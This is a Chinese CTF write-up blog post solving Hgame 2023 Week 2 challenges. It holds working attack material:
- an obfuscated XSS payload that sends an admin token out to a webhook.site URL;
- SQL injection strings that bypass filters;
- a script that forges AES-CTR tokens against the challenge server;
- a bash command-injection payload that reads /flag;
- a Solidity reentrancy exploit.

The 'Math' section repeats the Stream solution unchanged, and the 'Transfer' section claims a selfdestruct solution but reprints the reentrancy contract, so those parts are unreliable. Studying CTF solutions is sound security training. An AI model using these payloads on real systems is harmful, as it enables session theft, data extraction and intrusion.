Hgame Week 2
本文最后更新于 138 天前,其中的信息可能已经有所发展或是发生改变。

Hgame: week2
Rank:

SchoolAll
113

Hgame 2023
Rank:

SchoolAll
114

可恶,没能ak WEB,sql 实在没看懂,也没花很多精力

Web

Git Leakage

题解

  • githack

V2board

题解

Designer

题解

  • 分析源码,要求为 username=admin ip=127.0.0.1,可以通过 save来让服务器访问,在访问部署攻击的网站前还需要先去 registerfetch构造post请求,以admin 去生成一个token
;\"><script>eval(\"fet\"+\"ch(\\\"/user/register\\\", {\\\"method\\\":\\\"POST\\\",\\\"body\\\":{\\\"username\\\":\\\"admin\\\"}}).then((respo\"+\"nse)=>respo\"+\"nse.jso\"+\"n()).then(functio\"+\"n(respo\"+\"nse){fe\"+\"tch(\\\"https://webhook.site/cb3f84a6-2245-4654-8463-a861d2ca44af/\\\"+respo\"+\"nse[\\\"token\\\"])});\");</script>

Search Commodity

题解

  • 弱密码
  • sql 注入,过滤了一些关键词,但是大小写敏感,过滤空格和/**/,双写绕过,过滤等号,用 like 绕过
0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,2,3
/* 2 3 */

0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,DATABASE(),3
/* se4rch 3 */

0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,(SELECT/*/**/*/GROUP_CONCAT(TABLE_NAME)/*/**/*/FROM/*/**/*/INFORMATION_SCHEMA.TABLES/*/**/*/WHERE/*/**/*/TABLE_SCHEMA/*/**/*/LIKE/*/**/*/DATABASE()),3
/*    5ecret15here,L1st,user1nf0 3 */

0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,(SELECT/*/**/*/GROUP_CONCAT(COLUMN_NAME)/*/**/*/FROM/*/**/*/INFORMATION_SCHEMA.COLUMNS/*/**/*/WHERE/*/**/*/TABLE_SCHEMA/*/**/*/LIKE/*/**/*/DATABASE()),3
/*    f14gggg1shere,id,name,number,id,u5ern4me,p4ssw0rd 3 */

0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,(SELECT/*/**/*/f14gggg1shere/*/**/*/FROM/*/**/*/5ecret15here),3
/*    hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!} 3 */

Crypto

Rabin

题解

  • exp
from Crypto.Util.number import *
import gmpy2

p = 65428327184555679690730137432886407240184329534772421373193521144693375074983
q = 98570810268705084987524975482323456006480531917292601799256241458681800554123
c = 0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556
e = 2
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
for i in [r, rr, s, rr]:
    print(long_to_bytes(i))
    
# hgame{That'5_s0_3asy_to_s@lve_r@bin}s

RSA大冒险

题解

  • 分4个题目,RSA RSA++ 低指数 共模
challenge 1
分解因数:pubkey[0] // pubkey[2]
得到 p q
# m<n_But_also_m<p

challenge 2
先 pubkey 然后 encrypt 再 pubkey 
求两次  p*q 的 gcd
用其中一次的 p q 求解
# make_all_modulus_independent

challenge 3
低指数攻击
import gmpy2
from Crypto.Util.number import *
def de(c, e, n):
    k = 0
    while True:
        mm = c + n*k
        result, flag = gmpy2.iroot(mm, e)
        if True == flag:
            return result
        k += 1
e= 3
n= 
c= 
m=de(c,e,n)
print(long_to_bytes(m))
# encrypt_exponent_should_be_bigger

challenge 4
获取顺序: pubkey encrypt pubkey encrypt
共模攻击
import gmpy2
from Crypto.Util.number import long_to_bytes
e1 = 98911
e2 = 122099
n = 95048467482095047194913076481132162965250112913068812808848027402319725614813995098584762490966765657917174429652739462495760382099969326230762073171467755201990428927237663400477628823765429956962042870978196151009933065958581126995302573390078723690059805801261153097824043348480889858586169817262504654753
c1 = 0x1e1ed86e90f31b5827d3b975e3039592a90d64674c691f6d142482930a3e761cffbbe0bef10c1334939040d1e2c1ae4ffb2411d36533f9c8232f7d2b50dc7b9ea22bfac849e20fcbdae390710ce4d282c06ecf16c1d342c30e63c59d444943895e0361dea98bd74e7dccda48e79fe8cd712cb6352a2aa72a058b78082f9f9f06
c2 = 0x45b1ff36c4363240047c744dab838ca660d14a9434b30eea3eea0a90fd1292bda96ee5e536f0ff3a8335ed08d786082898f9a1a0315c6370f6f42fb9c4b880487a2c76bf49810aa277dfcf91641ec6940a8598c3ae53d1d0959c5ae187984fa124e4ee7b1c35cf8b39dddfa2747e4268f693ed0798802a737a7c0ce63514959c
_, r, s = gmpy2.gcdext(e1, e2)
m = pow(c1, r, n) * pow(c2, s, n) % n
print(long_to_bytes(m))
# never_uese_same_modulus

Bag

题解

from z3 import *
m = 1528637222531038332958694965114330415773896571891017629493424
w = Int('w')
solve(w * 2 % m == m, w > 0, w < m)

# w = 34678303266662728260484388017365107292555268466494656568963
# w 两个值,但没差别
```
4. exp
```python
from gmpy2 import invert
c = 93602062133487361151420753057739397161734651609786598765462162
w1 = 34678303266662728260484388017365107292555268466494656568963
m = 1528637222531038332958694965114330415773896571891017629493424
_w = invert(w1, m)
_c = c * _w % m
d = ''
a = [2 << i for i in range(198)][::-1]
while _c >= 2 and len(a) >= 1:
    if _c >= sum(a):
        _c -= sum(a)
        d += '1'
    else:
        d += '0'
    a = a[1:]
print(d[::-1])

# 100100000110000100111011100110101111100110100011011100101111100110011011000010111001101111001010111110110001001100001001110010101111101101001011100110110111000110111010111110110100101110100001111110
  • 补 0 然后爆破
from libnum import gcd, s2n
from string import printable
for x in printable:
    for y in printable:
        plain = f"{x}{y}'s_4n_3asy_ba9_isn7_it?"
        v = bin(s2n(plain))[2:]
        l = len(v)
        a = [2 << i for i in range(l)]
        m = 1528637222531038332958694965114330415773896571891017629493424
        w = 34678303266662728260484388017365107292555268466494656568963
        assert gcd(w, m) == 1
        b = [w * i % m for i in a]
        c = 0
        for i in range(l):
            c += b[i] * int(v[i])
        if c == 93602062133487361151420753057739397161734651609786598765462162:
            print(plain)

# 1t's_4n_3asy_ba9_isn7_it?
  • 官方题解

零元购年货商店

题解

  • 审计一下代码,要求购买flag时token解出的username要求是 Vidar-Tu,但是不可能注册一个 Vidar-Tu,要伪造token
func init() {
    _, _ = rand.Read(key)
    _, _ = rand.Read(iv)
}

func Encrypt(u string) (string, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return "", err
    }
    plainText := []byte(u)
    blockMode := cipher.NewCTR(block, iv)
    cipherText := make([]byte, len(plainText))
    blockMode.XORKeyStream(cipherText, plainText)
    return base64.StdEncoding.EncodeToString(cipherText), nil
}
  • 在这部分代码中发现对于 token 的生成采用 AES.CTR 算法,并且存在 key iv 复用的情况,通过写代码获取 username = Vidar-Tu 的 token
  • 生成token
import base64
import time
from pwn import xor
from requests import Session

login = 'http://week-2.hgame.lwsec.cn:30543/login'
s = Session()
s.post(login, data={'username': 'Vidar-TU'})
created = round(time.time())
text1 = ('{"Name":"Vidar-TU","Created":' + str(created) + ',"Uid":"230555433"}').encode()
# 虽然不知道用没用,将两个明文的差别尽可能缩小,时间戳无所谓,没有相关校验
text2 = ('{"Name":"Vidar-Tu","Created":' + str(created) + ',"Uid":"230555433"}').encode()
text3 = base64.b64decode(s.cookies.get('token').replace('%3D', '='))
text4 = base64.b64encode(xor(text1, text2, text3))
print(text4.decode())

# lhIqIpkzHTAlnuvFwKbPneKFFov96RVsRRLMuIXwmjZhLBexg2Hnx1c%2BJluWtcwtkD6tqJmmzf4w3A%3D%3D

# 直接得到的结果中间的 %2B 变成了 2B,修正一下
  • 抓包改token -> hgame{5o_Eas9_6yte_flip_@t7ack_wi4h_4ES-CTR}

Misc

Tetris Master

题解

  • Ctrl-C 退出程序,非预期

Tetris Master

题解

  • 在死后 score 不会归零,写脚本
from pyautogui import *
from time import sleep


for i in range(10):
    print(f"计时: {i}")
    sleep(1)
while True:
    for i in range(12):
        press('enter')
        print(i, end=' ')
    press('n')
    sleep(0.1)

# hgame{Bash_Game^Also*Can#Rce^reVenge!!!!}

预期解

  • bash命令执行,参考ByteCTF 2022 – bash_game,在读入 target 值进入 paint_game_over() 内,比较时 [[]] 操作符会造成RCE
paint_game_over() {
    local xcent=$((`tput lines`/2)) ycent=$((`tput cols`/2))
    local x=$((xcent-4)) y=$((ycent-25))
    for (( i = 0; i < 10; i++ )); do
        echo -ne "\033[$((x+i));${y}H\033[44m${good_game[$i]}\033[0m";
    done
    if [[ "$master" -eq "y" ]] && [[ "$score" -gt 50000 ]]; then
        echo -ne "\033[$((x+3));$((ycent+1))H\033[44m`cat /flag`\033[0m";
    elif [[ "$master" -ne "y" ]] && [[ "$score" -gt "$target" ]]; then
        echo -ne "\033[$((x+3));;$((ycent+1))H\033[44mKeep Going\033[0m"
    else 
        echo -ne "\033[$((x+3));$((ycent+1))H\033[44m${score}\033[0m";
    fi
}
  •  r[$(cat /flag)]

Sign in pro max

题解

  • part1 base64 58 32; part2 md5; part3 sha1; part4 sha256; part5 凯撒
  • 按照 uuid 生成的格式补齐

Crazy qrcode

题解

  • 掩码错误,选择正确的掩码,正确的应为 mask pattern 4
    • https://merricx.github.io/qrazybox/
  • 解压缩拼一下,文本把文件的内容应该是旋转的角度

Reverse

Stream

题解

  • pyinstaller 反编译:pyinstxtractor stream.exe> stream.pyc > stream.py
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import base64

def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data


def encrypt(text, key):
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    result = base64.b64encode(result.encode()).decode()
    return result

text = input('Flag: ')
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl':
    print('yes!')
    return None
None('try again...')
  • 爆破脚本
import base64
from string import printable as p
def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data

def encrypt(text, key):
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    result = result.encode()
    return result

decoded = base64.b64decode('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl')
decoded = ' '.join([str(i) for i in list(decoded)])
# print(decoded)
text = 'hgame{'
key = 'As_we_do_as_you_know'
while not text.endswith('}'):
    for y in p:
        test = ' '.join([str(i) for i in list(encrypt(text + y, key=key))]) + ' '
        if decoded.startswith(test):
            text += y
            print(text)
            
# hgame{python_reverse_is_easy_with_internet}

Math

题解

  • Solve
import base64
from string import printable as p
def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data

def encrypt(text, key):
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    result = result.encode()
    return result

decoded = base64.b64decode('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl')
decoded = ' '.join([str(i) for i in list(decoded)])
# print(decoded)
text = 'hgame{'
key = 'As_we_do_as_you_know'
while not text.endswith('}'):
    for y in p:
        test = ' '.join([str(i) for i in list(encrypt(text + y, key=key))]) + ' '
        if decoded.startswith(test):
            text += y
            print(text)
            
# hgame{python_reverse_is_easy_with_internet}

VidarCamera

题解

Before main

题解

  • 两张base64
true: qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK
false: 0CxWsOemvJq4zdk2V6QlArj9wnHbt1NfEX/+3DhyPoBRLY8pK5FciZau7UMIgTSG
  • 换表

Iot

Pirated router

题解

  • 路由器固件文件,kali 自带的不完整,在 ubuntu 上重装一个
  • 在 bin 中发现文件 secret_program,IDA 查看逻辑
a = [75, 68, 66, 78, 70, 88, 86, 77, 83, 23, 64, 72, 18, 77, 68, 124, 69, 74, 81, 78, 84, 66, 81, 70, 124, 18, 80, 124, 16, 98, 80, 90]
a = [i ^ 35 for i in a]
print(''.join([chr(i) for i in a]))

# hgame{unp4ck1ng_firmware_1s_3Asy}

Priated Keyboard

题解

  • 分离键盘流量
f = open('usb.txt', 'r')
fi = open('out.txt', 'w')
while True:
    a = f.readline().strip()
    if a:
        if len(a) == 16:  # 键盘流量len=16,鼠标流量len=8
            out = ''
            for i in range(0, len(a), 2):
                if i + 2 != len(a):
                    out += a[i] + a[i + 1] + ":"
                else:
                    out += a[i] + a[i + 1]
            fi.write(out)
            fi.write('\n')
    else:
        break
fi.close()
normalKeys = {
    "04": "a", "05": "b", "06": "c", "07": "d", "08": "e",
    "09": "f", "0a": "g", "0b": "h", "0c": "i", "0d": "j",
    "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o",
    "13": "p", "14": "q", "15": "r", "16": "s", "17": "t",
    "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y",
    "1d": "z", "1e": "1", "1f": "2", "20": "3", "21": "4",
    "22": "5", "23": "6", "24": "7", "25": "8", "26": "9",
    "27": "0", "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t",
    "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[", "30": "]", "31": "\\",
    "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".",
    "38": "/", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>",
    "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>",
    "44": "<F11>", "45": "<F12>"}
shiftKeys = {
    "04": "A", "05": "B", "06": "C", "07": "D", "08": "E",
    "09": "F", "0a": "G", "0b": "I", "0c": "H", "0d": "J",
    "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O",
    "13": "P", "14": "Q", "15": "R", "16": "S", "17": "T",
    "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y",
    "1d": "Z", "1e": "!", "1f": "@", "20": "#", "21": "$",
          "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
          "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>",
          "2d": "_", "2e": "+", "2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": "\"",
          "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?", "39": "<CAP>", "3a": "<F1>",
          "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>",
          "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
keys = open('usb2.txt')
for line in keys:
    try:
        if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[9] != '0' or line[10] != '0' or line[12] != '0' or line[
                13] != '0' or line[15] != '0' or line[16] != '0' or line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[6:8] == "00":
            continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],
                       [shiftKeys[line[6:8]]]][line[1] == '2']
        else:
            output += ['[unknown]']
    except BaseException:
        pass
keys.close()
flag = 0
print("".join(output))
for i in range(len(output)):
    try:
        a = output.index('<DEL>')
        del output[a]
        del output[a - 1]
    except BaseException:
        pass
for i in range(len(output)):
    try:
        if output[i] == "<CAP>":
            flag += 1
            output.pop(i)
            if flag == 2:
                flag = 0
        if flag != 0:
            output[i] = output[i].upper()
    except BaseException:
        pass
print('output :' + "".join(output))

# zihiui_NB_666}
  • 与原仓库对别一下差别,将字母修正一下
  • 在 SCH_HelloWord-TouchBar_2022-07-31.pdf 中发现前半段flag

Blockchain

VidarBank

题解

  • 重入攻击
contract attack {
    VidarBank public victim;
    constructor (address _addr){
        victim = VidarBank(_addr);
    }
    fallback() external payable {
        if(victim.balances(address(this)) < 30){
            victim.donateOnce();
    }
    }
    function exploit() public payable {
        victim.newAccount{value: 0.001 ether}();
        victim.donateOnce();
        victim.isSolved();
    }
}

Transfer

题解

  • self destruct 自毁强制转账
contract attack {
    VidarBank public victim;
    constructor (address _addr){
        victim = VidarBank(_addr);
    }
    fallback() external payable {
        if(victim.balances(address(this)) < 30){
            victim.donateOnce();
    }
    }
    function exploit() public payable {
        victim.newAccount{value: 0.001 ether}();
        victim.donateOnce();
        victim.isSolved();
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇